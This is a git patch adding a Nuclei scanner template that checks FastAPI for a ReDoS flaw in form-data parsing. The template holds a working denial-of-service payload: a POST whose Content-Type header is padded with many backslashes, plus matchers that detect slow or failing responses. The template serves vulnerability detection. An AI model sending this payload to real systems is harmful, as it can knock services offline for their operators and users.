From 062a4683862b0e55d5a4db4655f1e4ecfd558022 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Wed, 8 May 2024 09:38:28 -0700 Subject: [PATCH] Added FastAPI DoS nuclei template --- fastapi/fastapi_dos.yaml | 29 +++++++++++++++++++++++++++++ 1 file changed, 29 insertions(+) create mode 100644 fastapi/fastapi_dos.yaml diff --git a/fastapi/fastapi_dos.yaml b/fastapi/fastapi_dos.yaml new file mode 100644 index 0000000..54ae86b --- /dev/null +++ b/fastapi/fastapi_dos.yaml @@ -0,0 +1,29 @@ +id: fastapi-redos +info: + name: Check FastAPI ReDoS Vulnerability in Form Data Parsing + author: DanMcInerney, byt3bl33d3r, nicecatch2000 + severity: high + description: Checks for ReDoS vulnerability in FastAPI when parsing form data with a malicious Content-Type header. + reference: + - https://huntr.com/bounties/dd680268-d735-4f33-a358-d827694ab035 + classification: + cvss-score: 7.5 + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H + cwe-id: CWE-400 # Resource Exhaustion + tags: fastapi, redos, dos, vulnerability, ai, ml, protectai, huntr +requests: + - method: POST + path: + - "{{BaseURL}}/submit/" + headers: + Content-Type: "application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\'" + body: "input=1" + matchers-condition: and + matchers: + - type: status + status: + - 500 + - 502 + - 504 + - type: time + time: 5000 # Milliseconds, you may adjust this threshold based on expected response times \ No newline at end of file